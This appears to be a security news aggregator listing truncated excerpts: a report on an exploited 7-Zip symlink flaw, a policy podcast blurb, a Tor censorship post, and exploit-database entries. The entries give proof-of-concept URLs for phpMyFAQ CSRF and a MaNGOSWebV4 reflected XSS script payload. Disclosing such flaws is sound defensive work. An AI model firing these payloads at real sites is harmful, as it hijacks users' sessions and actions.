Active Exploitation of 7-Zip RCE Vulnerability Shows Why Manual Patching is No Longer an Option

A critical remote code execution (RCE) vulnerability in 7-Zip (CVE-2025-11001) is now being actively exploited. The issue stems from improper handling of symbolic links within crafted ZIP files. When a malicious archive is extracted, 7-Zip may write files outside the intended directory, allowing an attacker to overwrite system files or execute arbitrary code with the…

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From Policy to Practice: Why Cyber Resilience Needs a Reboot

In cybersecurity today, regulation is everywhere, but resilience isn’t keeping pace. In this episode of Experts on Experts: Commanding Perspectives, Craig Adams chats with Sabeen Malik, VP of Public Policy & Government Affairs at Rapid7, about what’s broken (and what’s promising) in today’s regulatory landscape. Sabeen pulls from her experience across diplomacy, operations, and government…

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phpMyFAQ 2.9.8 – Cross-Site Request Forgery (CSRF)

# Exploit Title: phpMyFAQ 2.9.8 Cross-Site Request Forgery (CSRF) # Date: 2024-10-26 # Exploit Author: CodeSecLab # Vendor Homepage: https://github.com/thorsten/phpMyFAQ # Software Link: https://github.com/thorsten/phpMyFAQ # Version: 2.9.8 # Tested on: Ubuntu Windows # CVE : CVE-2017-15735 PoC: While still logged in, open another browser window: …

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phpMyFAQ 2.9.8 – Cross-Site Request Forgery(CSRF)

# Exploit Title: phpMyFAQ 2.9.8 – Cross-Site Request Forgery(CSRF) # Date: 2024-10-26 # Exploit Author: CodeSecLab # Vendor Homepage: https://github.com/thorsten/phpMyFAQ # Software Link: https://github.com/thorsten/phpMyFAQ # Version: 2.9.8 # Tested on: Ubuntu Windows # CVE : CVE-2017-15734 PoC: Get http://phpmyfaq/admin/index.php?action=clear-visits Reproduction: While still logged in, open another browser window to access the link. …

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Staying ahead of censors in 2025: What we’ve learned from fighting censorship in Iran and Russia

From internet blackouts in Iran to Russia’s evolving censorship tactics, 2025 has tested Tor’s anti-censorship tools like never before. These are the moments where the work of Tor’s anti-censorship team is more important than ever, to fulfill our mission of preserving connectivity between users in affected regions and the rest of the world. In this…

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MaNGOSWebV4 4.0.6 – Reflected XSS

# Exploit Title: MaNGOSWebV4 4.0.6 – Reflected XSS # Date: 2024-10-26 # Exploit Author: CodeSecLab # Vendor Homepage: https://github.com/paintballrefjosh/MaNGOSWebV4 # Software Link: https://github.com/paintballrefjosh/MaNGOSWebV4 # Version: 4.0.6 # Tested on: Ubuntu Windows # CVE : CVE-2017-6478 PoC: // Access the vulnerable URL and trigger the XSS payload GET http://mangoswebv4/install/index.php?step=%3Cscript%3Ealert(1)%3C/script%3E [Replace Your Domain…

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